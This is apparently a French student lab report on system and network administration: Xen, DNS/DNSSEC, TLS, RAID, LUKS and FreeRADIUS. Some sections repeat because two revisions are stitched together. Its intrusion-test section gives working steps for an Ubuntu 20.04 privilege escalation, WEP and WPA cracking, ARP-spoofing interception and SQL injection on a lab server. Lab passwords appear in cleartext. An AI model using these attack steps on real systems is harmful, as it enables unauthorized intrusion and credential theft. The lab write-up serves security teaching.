lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Configuration VLAN IPv4, IPv6=

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

==Configuration IPv4==

'''Routeur 9200
'''

Nous nous connectons en ssh à partit de notre VM:
ssh admin@10.60.100.2

ensuite:
int piedbleu.site
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

int vlan piedbleu.site
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 54 priority 110

on quitte et on sauvegarde de la même manière. la commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on repère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

'''Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.'''

On installe le paquet :
$ apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = PA-zabeth11
secret = pasglop
}

On ajoute un utilisateur FreeRadius "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

'''Ensuite, on configure le point d'accès WiFi.'''

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
end

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
int Gi0.8
encapsulation dot1q 308
bridge-group 8

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown

On teste que le tout fonctionne.

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

TP sysres IMA5sc 2020/2021 G8

2020-12-06T01:16:12Z

Jsoulaim : /* 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==4.3 Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

